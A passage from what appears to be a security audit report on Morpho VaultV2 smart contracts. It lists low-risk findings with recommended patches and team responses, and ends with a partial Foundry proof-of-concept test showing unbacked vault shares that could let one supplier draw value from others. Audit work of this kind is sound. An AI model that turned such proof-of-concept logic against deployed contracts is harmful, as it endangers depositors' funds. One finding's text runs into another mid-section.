+         uint256 managementFeeAssets = (newTotalAssets * elapsed).mulDivDown(managementFee, WAD);
+         managementFeeShares = managementFeeAssets.mulDivDown(
+             totalSupply + 1 + performanceFeeShares, newTotalAssets + 1 - managementFeeAssets
+         );
+         managementFeeAssets = (newTotalAssets * elapsed).mulDivDown(managementFee, WAD);
+     }
+
+     uint256 newTotalAssetsBeforeApplyingFees = newTotalAssets - performanceFeeAssets -
+     ↪ managementFeeAssets;
+     uint256 totalSupplyOriginal = totalSupply; // read storage only once
+
+     // Note: the fee assets is subtracted from the total assets in the fee shares calculation to
+     ↪ compensate for the
+     // fact that total assets is already increased by the total interest (including the fee
+     ↪ assets).
+     uint256 performanceFeeShares = _convertToSharesDown(
+         performanceFeeAssets,
+         newTotalAssetsBeforeApplyingFees,
+         totalSupplyOriginal
+     );
+
+     uint256 managementFeeShares = _convertToSharesDown(
+         managementFeeAssets,
+         newTotalAssetsBeforeApplyingFees,
+         totalSupplyOriginal
+     );
+
+     return (newTotalAssets, performanceFeeShares, managementFeeShares);
+ }

```

In general there should be monitoring setup to alert if accruing interest due to supplying shares to different fee collectors could bring the conversion rate down.

5.3.4 MetaMorphoAdapter and MorphoBlueAdapter do not check asset comparability with the parent vault

Severity: Low Risk

Context: [MetaMorphoAdapter.sol#L28-L33](#), [MorphoBlueAdapter.sol#L56](#), [MorphoBlueAdapter.sol#L73](#)

Description: MetaMorphoAdapter and MorphoBlueAdapter do not check asset comparability with the parent vault. Currently this is not a big issue since the only assets transferred to these adapters from the parent vault are the assets owned by the parent vault. But one could donate to these adapters different assets/loan tokens and then provide the alternative asset type to their allocation/deallocation flows.

- MetaMorphoAdapter: MetaMorphoAdapter does not check upon deployment that:

```
IVaultV2(_parentVault).asset() == IERC4626(_metaMorpho).asset()
```

- MorphoBlueAdapter: MorphoBlueAdapter does not check whether during the allocation/deallocation marketParams.loanToken is the IVaultV2(_parentVault).asset().

Recommendation: To enforce the above checks one can apply the following patch:

```

diff --git a/src/adapters/MetaMorphoAdapter.sol b/src/adapters/MetaMorphoAdapter.sol
index adb05a7..7300031 100644
- -- a/src/adapters/MetaMorphoAdapter.sol
+ ++ b/src/adapters/MetaMorphoAdapter.sol
@@ -26,10 +26,13 @@ contract MetaMorphoAdapter is IMetaMorphoAdapter {
    /* FUNCTIONS */

    constructor(address _parentVault, address _metaMorpho) {
+       address asset = IVaultV2(_parentVault).asset();
+       require(asset == IERC4626(_metaMorpho).asset(), AssetsDoNotMatch());
+
        parentVault = _parentVault;
        metaMorpho = _metaMorpho;
-       SafeERC20Lib.safeApprove(IVaultV2(_parentVault).asset(), _parentVault, type(uint256).max);
-       SafeERC20Lib.safeApprove(IVaultV2(_parentVault).asset(), _metaMorpho, type(uint256).max);
+       SafeERC20Lib.safeApprove(asset, _parentVault, type(uint256).max);
+       SafeERC20Lib.safeApprove(asset, _metaMorpho, type(uint256).max);
    }

    function setSkimRecipient(address newSkimRecipient) external {
diff --git a/src/adapters/MorphoBlueAdapter.sol b/src/adapters/MorphoBlueAdapter.sol
index 927a7e7..81c8db7 100644
- -- a/src/adapters/MorphoBlueAdapter.sol
+ ++ b/src/adapters/MorphoBlueAdapter.sol
@@ -10,6 +10,14 @@ import {IMorphoBlueAdapter} from "../interfaces/IMorphoBlueAdapter.sol";
import {SafeERC20Lib} from "../libraries/SafeERC20Lib.sol";
import {MathLib} from "../libraries/MathLib.sol";

+ struct MarketParamsWithoutLoanToken {
+     // address loanToken; loanToken is the `asset` does not need to be provided to the adapter
+     address collateralToken;
+     address oracle;
+     address irm;
+     uint256 lltv;
+ }
+
contract MorphoBlueAdapter is IMorphoBlueAdapter {
    using MathLib for uint256;
    using MorphoBalancesLib for IMorpho;
@@ -18,6 +26,7 @@ contract MorphoBlueAdapter is IMorphoBlueAdapter {
    /* IMMUTABLES */

    address public immutable parentVault;
+   address public immutable asset;
    address public immutable morpho;

    /* STORAGE */
@@ -29,9 +38,10 @@ contract MorphoBlueAdapter is IMorphoBlueAdapter {

    constructor(address _parentVault, address _morpho) {
        morpho = _morpho;
+       asset = IVaultV2(_parentVault).asset();
        parentVault = _parentVault;
-       SafeERC20Lib.safeApprove(IVaultV2(_parentVault).asset(), _morpho, type(uint256).max);
-       SafeERC20Lib.safeApprove(IVaultV2(_parentVault).asset(), _parentVault, type(uint256).max);
+       SafeERC20Lib.safeApprove(asset, _morpho, type(uint256).max);
+       SafeERC20Lib.safeApprove(asset, _parentVault, type(uint256).max);
    }

    function setSkimRecipient(address newSkimRecipient) external {
@@ -53,7 +63,15 @@ contract MorphoBlueAdapter is IMorphoBlueAdapter {

```



```

    /// @dev Returns the ids of the allocation and the potential loss.
    function allocate(bytes memory data, uint256 assets) external returns (bytes32[] memory, uint256)
    ↪ {
        require(msg.sender == parentVault, NotAuthorized());
        MarketParams memory marketParams = abi.decode(data, (MarketParams));
        MarketParamsWithoutLoanToken memory marketParamsWithoutLoanToken = abi.decode(data,
    ↪ (MarketParamsWithoutLoanToken));
        MarketParams memory marketParams = MarketParams({
        +     loanToken: asset,
        +     collateralToken: marketParamsWithoutLoanToken.collateralToken,
        +     oracle: marketParamsWithoutLoanToken.oracle,
        +     irm: marketParamsWithoutLoanToken.irm,
        +     lltv: marketParamsWithoutLoanToken.lltv
        + });

        Id marketId = marketParams.id();

        // To accrue interest only one time.
    @@ -70,7 +88,15 @@ contract MorphoBlueAdapter is IMorphoBlueAdapter {
        /// @dev Returns the ids of the deallocation and the potential loss.
        function deallocate(bytes memory data, uint256 assets) external returns (bytes32[] memory,
    ↪ uint256) {
            require(msg.sender == parentVault, NotAuthorized());
        -     MarketParams memory marketParams = abi.decode(data, (MarketParams));
        +     MarketParamsWithoutLoanToken memory marketParamsWithoutLoanToken = abi.decode(data,
    ↪ (MarketParamsWithoutLoanToken));
        +     MarketParams memory marketParams = MarketParams({
        +         loanToken: asset,
        +         collateralToken: marketParamsWithoutLoanToken.collateralToken,
        +         oracle: marketParamsWithoutLoanToken.oracle,
        +         irm: marketParamsWithoutLoanToken.irm,
        +         lltv: marketParamsWithoutLoanToken.lltv
        + });

        Id marketId = marketParams.id();

        // To accrue interest only one time.
diff --git a/src/adapters/interfaces/IMetaMorphoAdapter.sol
    ↪ b/src/adapters/interfaces/IMetaMorphoAdapter.sol
index 47b8f37..64ab54a 100644
- -- a/src/adapters/interfaces/IMetaMorphoAdapter.sol
+ ++ b/src/adapters/interfaces/IMetaMorphoAdapter.sol
    @@ -15,6 +15,7 @@ interface IMetaMorphoAdapter is IAdapter {
        error InvalidData();
        error CannotSkimMetaMorphoShares();
        error CannotRealizeAsMuch();
    +     error AssetsDoNotMatch();

    /* FUNCTIONS */

diff --git a/src/interfaces/IERC4626.sol b/src/interfaces/IERC4626.sol
index c859c77..1cab971 100644
- -- a/src/interfaces/IERC4626.sol
+ ++ b/src/interfaces/IERC4626.sol
    @@ -4,6 +4,7 @@ pragma solidity >=0.5.0;
    import {IERC20} from "./IERC20.sol";

    interface IERC4626 is IERC20 {
    +     function asset() external view returns (address assetTokenAddress);
        function deposit(uint256 assets, address onBehalf) external returns (uint256 shares);
        function mint(uint256 shares, address onBehalf) external returns (uint256 assets);

```

```

        function withdraw(uint256 assets, address onBehalf, address receiver) external returns (uint256
            ↪ shares);
diff --git a/test/MorphoBlueAdapterTest.sol b/test/MorphoBlueAdapterTest.sol
index 6184f1e..4919db7 100644
- -- a/test/MorphoBlueAdapterTest.sol
+ ++ b/test/MorphoBlueAdapterTest.sol
@@ -2,7 +2,7 @@
    pragma solidity ^0.8.0;

    import "../lib/forge-std/src/Test.sol";
- import {MorphoBlueAdapter} from "../src/adapters/MorphoBlueAdapter.sol";
+ import {MorphoBlueAdapter, MarketParamsWithoutLoanToken} from
    ↪ "../src/adapters/MorphoBlueAdapter.sol";
    import {MorphoBlueAdapterFactory} from "../src/adapters/MorphoBlueAdapterFactory.sol";
    import {ERC20Mock} from "../mocks/ERC20Mock.sol";
    import {OracleMock} from "../lib/morpho-blue/src/mocks/OracleMock.sol";
@@ -24,6 +24,7 @@ contract MorphoBlueAdapterTest is Test {
    MorphoBlueAdapter internal adapter;
    VaultV2Mock internal parentVault;
    MarketParams internal marketParams;
+ MarketParamsWithoutLoanToken internal marketParamsWithoutLoanToken;
    Id internal marketId;
    ERC20Mock internal loanToken;
    ERC20Mock internal collateralToken;
@@ -51,14 +52,21 @@ contract MorphoBlueAdapterTest is Test {
    oracle = new OracleMock();
    irm = new IrmMock();

-    marketParams = MarketParams({
-        loanToken: address(loanToken),
+    marketParamsWithoutLoanToken = MarketParamsWithoutLoanToken({
+        collateralToken: address(collateralToken),
+        irm: address(irm),
+        oracle: address(oracle),
+        lltv: 0.8 ether
    });

+    marketParams = MarketParams({
+        loanToken: address(loanToken),
+        collateralToken: marketParamsWithoutLoanToken.collateralToken,
+        irm: marketParamsWithoutLoanToken.irm,
+        oracle: marketParamsWithoutLoanToken.oracle,
+        lltv: marketParamsWithoutLoanToken.lltv
    });
+
    vm.startPrank(morphoOwner);
    morpho.enableIrm(address(irm));
    morpho.enableLltv(0.8 ether);
@@ -92,13 +100,13 @@ contract MorphoBlueAdapterTest is Test {
    function testAllocateNotAuthorizedReverts(uint256 assets) public {
        assets = _boundAssets(assets);
        vm.expectRevert(IMorphoBlueAdapter.NotAuthorized.selector);
-        adapter.allocate(abi.encode(marketParams), assets);
+        adapter.allocate(abi.encode(marketParamsWithoutLoanToken), assets);
    }

    function testDeallocateNotAuthorizedReverts(uint256 assets) public {
        assets = _boundAssets(assets);
        vm.expectRevert(IMorphoBlueAdapter.NotAuthorized.selector);
-        adapter.deallocate(abi.encode(marketParams), assets);
+        adapter.deallocate(abi.encode(marketParamsWithoutLoanToken), assets);
    }
}

```

```

function testAllocate(uint256 assets) public {
@@ -106,7 +114,7 @@ contract MorphoBlueAdapterTest is Test {
    deal(address(loanToken), address(adapter), assets);

    vm.prank(address(parentVault));
-   (bytes32[] memory ids, uint256 loss) = adapter.allocate(abi.encode(marketParams), assets);
+   (bytes32[] memory ids, uint256 loss) =
↳ adapter.allocate(abi.encode(marketParamsWithoutLoanToken), assets);

    assertEq(adapter.assetsInMarket(marketId), assets, "Incorrect assetsInMarket");
    assertEq(morpho.expectedSupplyAssets(marketParams, address(adapter)), assets, "Incorrect
↳ assets in Morpho");
@@ -121,13 +129,13 @@ contract MorphoBlueAdapterTest is Test {

    deal(address(loanToken), address(adapter), initialAssets);
    vm.prank(address(parentVault));
-   adapter.allocate(abi.encode(marketParams), initialAssets);
+   adapter.allocate(abi.encode(marketParamsWithoutLoanToken), initialAssets);

    uint256 beforeSupply = morpho.expectedSupplyAssets(marketParams, address(adapter));
    assertEq(beforeSupply, initialAssets, "Precondition failed: supply not set");

    vm.prank(address(parentVault));
-   (bytes32[] memory ids, uint256 loss) = adapter.deallocate(abi.encode(marketParams),
↳ withdrawAssets);
+   (bytes32[] memory ids, uint256 loss) =
↳ adapter.deallocate(abi.encode(marketParamsWithoutLoanToken), withdrawAssets);

    assertEq(loss, 0, "Loss should be zero");
    assertEq(adapter.assetsInMarket(marketId), initialAssets - withdrawAssets, "Incorrect
↳ assetsInMarket");
@@ -214,14 +222,14 @@ contract MorphoBlueAdapterTest is Test {
    // Setup
    deal(address(loanToken), address(adapter), initial);
    vm.prank(address(parentVault));
-   adapter.allocate(abi.encode(marketParams), initial);
+   adapter.allocate(abi.encode(marketParamsWithoutLoanToken), initial);
    assertEq(adapter.assetsInMarket(marketId), initial, "Initial assetsInMarket incorrect");
    _overrideMarketTotalSupplyAssets(-int256(expectedLoss));

    // Realize with allocate
    uint256 snapshot = vm.snapshotState();
    vm.prank(address(parentVault));
-   (bytes32[] memory ids, uint256 loss) = adapter.allocate(abi.encode(marketParams), 0);
+   (bytes32[] memory ids, uint256 loss) =
↳ adapter.allocate(abi.encode(marketParamsWithoutLoanToken), 0);
    assertEq(ids, expectedIds, "ids: allocate");
    assertEq(loss, expectedLoss, "loss: allocate");
    assertEq(adapter.assetsInMarket(marketId), initial - expectedLoss, "assetsInMarket:
↳ allocate");
@@ -229,14 +237,14 @@ contract MorphoBlueAdapterTest is Test {
    // Realize with deallocate
    vm.revertToState(snapshot);
    vm.prank(address(parentVault));
-   (ids, loss) = adapter.deallocate(abi.encode(marketParams), 0);
+   (ids, loss) = adapter.deallocate(abi.encode(marketParamsWithoutLoanToken), 0);
    assertEq(ids, expectedIds, "ids: deallocate");
    assertEq(loss, expectedLoss, "loss: deallocate");
    assertEq(adapter.assetsInMarket(marketId), initial - expectedLoss, "assetsInMarket:
↳ deallocate");

```

```

        // Can't re-realize
        vm.prank(address(parentVault));
-       (ids, loss) = adapter.allocate(abi.encode(marketParams), 0);
+       (ids, loss) = adapter.allocate(abi.encode(marketParamsWithoutLoanToken), 0);
        assertEq(ids, expectedIds, "ids: re-realize");
        assertEq(loss, 0, "loss: re-realize");
        assertEq(adapter.assetsInMarket(marketId), initial - expectedLoss, "assetsInMarket:
        ↪ re-realize");
    @@ -245,7 +253,7 @@ contract MorphoBlueAdapterTest is Test {
        vm.revertToState(snapshot);
        deal(address(loanToken), address(adapter), deposit);
        vm.prank(address(parentVault));
-       (ids, loss) = adapter.allocate(abi.encode(marketParams), deposit);
+       (ids, loss) = adapter.allocate(abi.encode(marketParamsWithoutLoanToken), deposit);
        assertEq(ids, expectedIds, "ids: deposit");
        assertEq(loss, expectedLoss, "loss: deposit");
        assertEq(adapter.assetsInMarket(marketId), initial - expectedLoss + deposit, "assetsInMarket:
        ↪ deposit");
    @@ -253,7 +261,7 @@ contract MorphoBlueAdapterTest is Test {
        // Withdrawing realizes the loss
        vm.revertToState(snapshot);
        vm.prank(address(parentVault));
-       (ids, loss) = adapter.deallocate(abi.encode(marketParams), withdraw);
+       (ids, loss) = adapter.deallocate(abi.encode(marketParamsWithoutLoanToken), withdraw);
        assertEq(ids, expectedIds, "ids: withdraw");
        assertEq(loss, expectedLoss, "loss: withdraw");
        assertEq(adapter.assetsInMarket(marketId), initial - expectedLoss - withdraw,
        ↪ "assetsInMarket: withdraw");
    @@ -262,7 +270,7 @@ contract MorphoBlueAdapterTest is Test {
        vm.revertToState(snapshot);
        _overrideMarketTotalSupplyAssets(int256(interest));
        vm.prank(address(parentVault));
-       (ids, loss) = adapter.allocate(abi.encode(marketParams), 0);
+       (ids, loss) = adapter.allocate(abi.encode(marketParamsWithoutLoanToken), 0);
        assertEq(ids, expectedIds, "ids: interest");
        assertEq(loss, expectedLoss > interest ? expectedLoss - interest : 0, "loss: interest");
        assertApproxEqAbs(

```

Morpho: Fixed in [PR 347](#).

Spearbit: Fix verified.

5.3.5 The call to `vic` does not check integrity of the data returned

Severity: Low Risk

Context: [VaultV2.sol#L428-L436](#)

Description: When the codebase performs a `staticcall` to `vic`, the integrity of the returned data is not checked. There are two possible bad scenarios:

1. The returned data is empty. In this case the code wrongfully assumes that data should always be non-empty and thus reads the output from the `add(data, 32)` memory slot which could hold bytes totally unrelated to the `staticcall`. We will examine this issue in the **PoC** in the next section.
2. The data returned might hold more bytes than one expects (more than 32 bytes).
3. The data type returned by the `vic` might have been meant to be of a different type than the one expected.

Proof of Concept:

- Case 1:

Context: [MetaMorphoAdapter.sol#L18](#), [MorphoBlueAdapter.sol#L20](#), [IAdapter.sol#L4-L7](#), [VaultV2.sol#L204-L208](#)

Description: Currently both implementation of the IAdapter have parentVault defined as a public immutable parameter. But this parameter is not exposed as an external function of IAdapter. If an adapter *A* has a parent vault *V_p* but gets added to a different vault *V'* the calls to the allocation/deallocation of *A* might not have checks to make sure only *V_p* can allocate or deallocate and this *V'* might send some tokens to *A* which might get lost.

Recommendation: It is true that the specs for IAdapter are not set in stone yet. If it is expected that adapters are only connected to one parent vault, it would make sense to expose the parentVault in IAdapter and in [IVaultV2.setIsAdapter\(...\)](#) also check that `address(this) == account.parentVault()`.

If there are plans to connect an adapter to multiple vaults, then at least these plans should be documented.

Morpho: Acknowledged. See related finding "Some features from IMetaMorphoAdapter and IMorphoBlueAdapter can be refactored into IAdapter".

Spearbit: Acknowledged.

5.3.7 Extra check can be added when setting vic

Severity: Low Risk

Context: [IVic.sol#L4-L6](#), [VaultV2.sol#L198-L202](#), [IManualVic.sol#L25](#)

Description: Currently there is only one implementation of the IVic, ie IManualVic. One might assume that IVic implementations are only connected to one unique vault during their lifetime.

Recommendation: If the above assumption is true. Then one can move up the definition `vault()` from IManualVic to IVic and also add a check in `setVic(...)` to make sure that the `newVic` added points back to the same vault.

If an IVic could potentially be connected to multiple vaults, this possibility should at least be documented.

```
diff --git a/src/VaultV2.sol b/src/VaultV2.sol
index 5a83bf3..e04f496 100644
- -- a/src/VaultV2.sol
+ ++ b/src/VaultV2.sol
@@ -196,6 +196,7 @@ contract VaultV2 is IVaultV2 {
    }

    function setVic(address newVic) external timelocked {
+       require(IVic(newVic).vault() == address(this), ErrorsLib.VicIsIncompatible());
        accrueInterest();
        vic = newVic;
        emit EventsLib.SetVic(newVic);
diff --git a/src/interfaces/IVic.sol b/src/interfaces/IVic.sol
index b162da5..11e2b2c 100644
- -- a/src/interfaces/IVic.sol
+ ++ b/src/interfaces/IVic.sol
@@ -2,5 +2,6 @@
pragma solidity >=0.5.0;

interface IVic {
+   function vault() external view returns (address);
    function interestPerSecond(uint256 totalAssets, uint256 elapsed) external view returns (uint256);
}
diff --git a/src/libraries/ErrorsLib.sol b/src/libraries/ErrorsLib.sol
index f49aa15..0183e39 100644
- -- a/src/libraries/ErrorsLib.sol
+ ++ b/src/libraries/ErrorsLib.sol
@@ -41,4 +41,5 @@ library ErrorsLib {
    error CannotSendUnderlyingAssets();
    error CannotReceiveUnderlyingAssets();
}
```

```

        error EnterBlocked();
+       error VicIsIncompatible();
    }
diff --git a/src/vic/interfaces/IManualVic.sol b/src/vic/interfaces/IManualVic.sol
index 1b148f6..cb094ac 100644
- -- a/src/vic/interfaces/IManualVic.sol
+ ++ b/src/vic/interfaces/IManualVic.sol
@@ -22,6 +22,5 @@ interface IManualVic is IVic {
    function increaseMaxInterestPerSecond(uint256 newMaxInterestPerSecond) external;
    function decreaseMaxInterestPerSecond(uint256 newMaxInterestPerSecond) external;
    function setInterestPerSecond(uint256 newInterestPerSecond) external;
-   function vault() external view returns (address);
    function maxInterestPerSecond() external view returns (uint256);
}

```

For setting `vic` and also other addresses one can:

1. Let their interfaces to inherit from ERC165.
2. Override the `supportInterface` function specific to that particular interface.
3. Upon adding/setting these addresses on the vault check for interface compatibility.

Morpho: Acknowledged.

Spearbit: Acknowledged.

5.3.8 Arbitrary data can be passed to `forceDeallocate`

Severity: Low Risk

Context: [VaultV2.sol#L350-L357](#), [VaultV2.sol#L574](#)

Description: Only an allocator *B*, a sentinel *S* (and also this due to `forceDeallocate` calling `deallocate`) can call `deallocate` and provide data for a registered adapter. This would make one think that the data provided by the trusted privileged entities *B* or *S* has been vetted out. But in the `forceDeallocate` \rightarrow `deallocate` any data can be provided by anyone which could potentially include a malicious payload. Note, `IAdapter` currently has a very general spec so these scenarios need to be taken into consideration.

Recommendation: In the general settings for the all the current and future `IAdapter` implementations one should think whether the above scenario should be allowed. If not, a trusted entity can bound the data to each adapter in `VaultV2` and then when `forceDeallocate` or `deallocate` is called data will be fetched from storage instead of being provided as call data by the caller. Instead of bounding a specific data for an adapter. One can also bound a **set** of allowed data for adapters (since for example for Morpho Blue markets, there is only one adapter but multiple data options per Morpho Blue markets):

```
mapping(address adapter => mapping(bytes32 dataHashed => bool)) public isValidAdapterData;
```

Morpho: Fixed in:

- [PR 347](#).
- [PR 484](#).

Spearbit: The provided fixes only partially addresses the issue. The full resolution is not provided. The new implementation only checks that there was an allocation for all the ids returned by the adaptor upon deallocation. Still some side-effects can slip through in general which cannot be anticipated by the IDs system.

5.3.9 Incorrect allocation calculation for ids corresponding to coarser set of routes

Severity: Low Risk

Context: (No context files were provided by the reviewer)

Description: IDs returned by `ids` function of `MetaMorphoAdapter` and `MorphoBlueAdapter` adapters have the following shared property that:

```
ids_[0] = keccak256(abi.encode("adapter", address(this)));
```

And therefore in the parent vault during allocation/deallocation, we have:

```
// allocation
allocation[ids[i]] = allocation[ids[i]].zeroFloorSub(loss) + assets;

// deallocation
allocation[ids[i]] = allocation[ids[i]].zeroFloorSub(loss + assets);
```

Let's assume the array of `ids` returned by an adapter A is $I_A = \{i_0, \dots\}$. And allocation storage parameter is a . The common properties are:

1. $|I_A| \geq 1$.
2. i_f , let's instead define i_f of an adapter to be the id that provides the most fine-grained allocation route. For example for `MetaMorphoAdapter` it would be i_0 and for `MorphoBlueAdapter` it would be i_2 related to `collateralToken/oracle/lltv` (although in this case the most specific id if defined would have corresponded to `adapter/loanToken/collateralToken/oracle/irm/lltv`).

Then for this i_f we have:

$$a_{i_f} = \begin{cases} \max(0, a_{i_f} - a_{loss}) + \Delta a & \text{allocate} \\ \max(0, a_{i_f} - a_{loss} - \Delta a) & \text{deallocate} \end{cases}$$

The other `ids` correspond to a more coarser-set of allocation routes. Let's define R_i to be the set of allocation routes where i is an id for this route (note one adapter might have multiple allocation routes like `MorphoBlueAdapter`). Then one can see that:

$\forall i \in I_A \rightarrow R_{i_f} \subset R_i$

Then one can prove that:

$a_i \leq \sum_{i_f \in R_i} a_{i_f}$

The above is not a strict equality = since coarser `ids` accumulate more allocation values that can absorb more of the loss compared to more fine-grained `ids` like i_f . That means the caps defined for these more general routes in some cases can be less strict as expected. Let's dissect this with an example. Let A be the `MorphoBlueAdapter` and let's focus on the following `ids`:

- $i_c : \text{keccak256}(\text{abi.encode}(\text{"collateralToken"}, C))$ where C is a fixed chosen value C .
- $i_{c,0} : \text{keccak256}(\text{abi.encode}(\text{"collateralToken/oracle/lltv"}, C, 0, L_0))$ where C is the same as above and O and L_0 are fixed.
- $i_{c,1} : \text{keccak256}(\text{abi.encode}(\text{"collateralToken/oracle/lltv"}, C, 0, L_1))$ where C and O is the same as above and L_1 are fixed.

We also have the corresponding allocation values $a_{i_c}, a_{i_{c,0}}, a_{i_{c,1}}$. Let's further assume that in `MorphoBlue` only 2 markets deployed with `loanToken` as our VaultV2 asset and the collateral token C and these two markets share the same parameters except with a varying `lltv` one with the value L_0 and the value L_1 . Let's call these markets M_0 and M_1 . Then one would expect that we should have:

$$a_{i_c} = a_{i_{c,0}} + a_{i_{c,1}}$$

But this is not true in general. Assume we allocate 1 to M_0 and 1 to M_1 and thus we end up with a state:

$$(a_{i_c}, a_{i_{c,0}}, a_{i_{c,1}}) = (2, 1, 1)$$

Then there is a loss of 2 for M_0 when that loss is realised since in the allocation amount updates we use `zeroFloorSub` we end up at:

$$(a_{i_c}, a_{i_{c,0}}, a_{i_{c,1}}) = (0, 0, 1)$$

which breaks the invariant in mind. The suggested change will make sure that $a_{i_c} = 1$ after this loss realisation.

Note, in general the allocation routes R_i with order defined by being a sub/super set is a partial order, so there might not be a minimum set R_{i_f} but based on the given `IAdapter` implementations this is the case where a unique minimum exists which completely specifies the route.

Recommendation: To make sure we can deduce the expected equality:

$$a_i = \sum_{i_f \in R_i} a_{i_f}$$

We can apply the following changes:

1. The adapters return i_f as i_0 (or let i_f to be the last element of the array A_f then the current implementation of the `IAdapter` do not need to be touched and already satisfy this invariant).
2. Use the expression (1) to derive the new value for a_{i_0} (aka a_{i_f}).
3. For all other $i \in I_A \setminus \{i_f\}$, set $a_i = a_i + \Delta a_{i_f}$.

This would roughly correspond to the following changes in the codebase (assuming i_f is the last element of the array I_A):

```
diff --git a/src/VaultV2.sol b/src/VaultV2.sol
index 5a83bf3..2cbfbef 100644
- -- a/src/VaultV2.sol
+ ++ b/src/VaultV2.sol
@@ -333,8 +333,16 @@ contract VaultV2 is IVaultV2 {
    enterBlocked = true;
}

+ uint256 fineGrainedAllocationOld = 0;
+ uint256 fineGrainedAllocationNew = 0;
+ if (ids.length > 0) {
+   uint256 lastIndex = ids.length - 1;
+   fineGrainedAllocationOld = allocation[ids[lastIndex]];
+   fineGrainedAllocationNew = fineGrainedAllocationOld.zeroFloorSub(loss) + assets;
+ }
+
  for (uint256 i; i < ids.length; i++) {
-   allocation[ids[i]] = allocation[ids[i]].zeroFloorSub(loss) + assets;
+   allocation[ids[i]] = allocation[ids[i]] - fineGrainedAllocationOld +
+   ↪ fineGrainedAllocationNew;

    require(allocation[ids[i]] <= absoluteCap[ids[i]], ErrorsLib.AbsoluteCapExceeded());
    require(
@@ -360,8 +368,16 @@ contract VaultV2 is IVaultV2 {
    enterBlocked = true;
}

+ uint256 fineGrainedAllocationOld = 0;
+ uint256 fineGrainedAllocationNew = 0;
+ if (ids.length > 0) {
+   uint256 lastIndex = ids.length - 1;
+   fineGrainedAllocationOld = allocation[ids[lastIndex]];
+   fineGrainedAllocationNew = fineGrainedAllocationOld.zeroFloorSub(loss + assets);
+ }
+ }
```

```

+         for (uint256 i; i < ids.length; i++) {
-             allocation[ids[i]] = allocation[ids[i]].zeroFloorSub(loss + assets);
+             allocation[ids[i]] = allocation[ids[i]] - fineGrainedAllocationOld +
↪         fineGrainedAllocationNew;
        }

        SafeERC20Lib.safeTransferFrom(asset, adapter, address(this), assets);

```

Morpho: Fixed in [PR 347](#).

Spearbit: Fixed by ensuring that the delta of all allocations for the ids returned by the adapter would be the same (during allocation, deallocation and realising loss flows).

5.3.10 Missing to accrue interest in deallocate function

Severity: Low Risk

Context: [VaultV2.sol#L350](#)

Description: The deallocate function withdraws funds from the adapter and subtracts losses from `_totalAssets`. However, the function fails to accrue interest before updating `_totalAssets`. This leads to lower interest accrual when the vault performs its interest calculations. This behavior is different from the allocate function.

Recommendation: Consider accruing interest at the beginning of the function, making it consistent with other functions.

Morpho: Fixed by [PR 350](#).

Spearbit: Verified.

5.3.11 VaultV2 could end up minting shares > 0 that are not backed by MetaMorpho shares

Severity: Low Risk

Context: [MetaMorphoAdapter.sol#L53-L66](#)

Description: The current implementation of the MetaMorphoAdapter adapter does perform any slippage checks or reverts when the underlying MetaMorpho (v1.0 or v1.1) vault mints zero shares upon depositing an amount > 0 of assets.

When this happens, the original supplier that has called `VaultV2.deposit` will receive a positive number of shares of VaultV2 that are not backed by any MetaMorpho shares that should be owned by the MetaMorphoAdapter adapter.

This scenario will create multiple problems and inconsistencies:

1. `VaultV2._totalAssets` will be > 0 but no shares have been minted to the adapter by the MetaMorpho vault deposit.
2. VaultV2 will incorrectly generate interest on the VaultV2 level, given that `VaultV2._totalAssets` > 0 even if the MetaMorpho position can't generate any interest (assets have been deposited, but no shares have been minted).
3. If there's no other suppliers, the original caller won't be able to withdraw its assets/redeem its shares (and interest falsely accounted for) because the `MetaMorphoAdapter.deallocate` will revert (it has no shares to burn from the MetaMorpho vault's balance).
4. If there are other suppliers, it will be able to withdraw its assets/redeem its shares even if those are not backed by any MetaMorpho shares, "stealing" from other suppliers backed shares. Other suppliers won't be able (until other suppliers will deposit) redeem their shares in full.

Proof of Concept: Note: the test requires the modifications done here [PR 318](#) (adding support to MM in the test folder).

```

// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.0;

import "./MMIntegrationTest.sol";
import {
    OracleMock,
    IrmMock,
    IMorpho,
    IMetaMorpho,
    ORACLE_PRICE_SCALE,
    MarketParams,
    MarketParamsLib,
    Id,
    MorphoBalancesLib,
    Market,
    Position
} from "../../lib/metamorpho/test/forge/helpers/IntegrationTest.sol";

import {
    IERC20Errors
} from "../../lib/openzeppelin-contracts/contracts/interfaces/draft-IERC6093.sol";

contract MMIntegrationDepositTest is MMIntegrationTest {
    using MarketParamsLib for MarketParams;
    using MorphoBalancesLib for IMorpho;

    function testAdapterReceiveZeroShares() public {
        CAP = type(uint128).max;
        // MM has no caps
        setSupplyQueueAllMarkets();

        // enable the MM as an adapter
        vm.prank(allocator);
        vault.setLiquidityAdapter(address(metaMorphoAdapter));

        address supplier = makeAddr("supplier");
        vm.startPrank(supplier);
        deal(address(underlyingToken), supplier, 100_000_000e18, true);
        underlyingToken.approve(address(metaMorpho), type(uint256).max);
        metaMorpho.deposit(100_000_000e18, supplier);
        vm.stopPrank();

        address mbBorrower = makeAddr("mbBorrower");
        vm.startPrank(mbBorrower);
        deal(address(collateralToken), mbBorrower, 100_000_000e18, true);
        collateralToken.approve(address(morpho), type(uint256).max);
        morpho.supplyCollateral(allMarketParams[0], 100_000_000e18, mbBorrower, hex "");
        morpho.borrow(allMarketParams[0], 80_000_000e18, 0, mbBorrower, mbBorrower);
        vm.stopPrank();

        // warp to accrue interest on the MB market from the borrower
        // MB shares increase in value
        vm.warp( vm.getBlockTimestamp() + 365 days );
        morpho.accrueInterest(allMarketParams[0]);

        Market memory mbBeforeDeposit = morpho.market(allMarketParams[0].id());
        Position memory mmmPosBeforeDeposit = morpho.position(allMarketParams[0].id(),
            ↪ address(metaMorpho));
    }
}

```

```

uint256 mmAssetsInMbBeforeDeposit = morpho.expectedSupplyAssets(allMarketParams[0],
↳ address(metaMorpho));

// deposit 1 wei to MB via MM via VV2
address alice = makeAddr("alice");
vm.startPrank(alice);
deal(address(underlyingToken), alice, 1, true);
underlyingToken.approve(address(vault), type(uint256).max);
uint256 aliceShares = vault.deposit(1, alice);
vm.stopPrank();

Market memory mbAfterDeposit = morpho.market(allMarketParams[0].id());
Position memory mmPosAfterDeposit = morpho.position(allMarketParams[0].id(),
↳ address(metaMorpho));
uint256 mmAssetsInMbAfterDeposit = morpho.expectedSupplyAssets(allMarketParams[0],
↳ address(metaMorpho));

// the V2 Vault has minted 1 share and `_totalAssets` has been "manually" increased to 1
// the VIC will accrue interest even if the liquidityAdapter can't produce yield given that it
↳ has ZERO MetaMorpho share (see the below assert)
assertEq(vault.totalAssets(), 1);
assertEq(vault.totalSupply(), 1);
// Assert that Alice has received a VaultV2 share BUT the adapter has received ZERO shares from
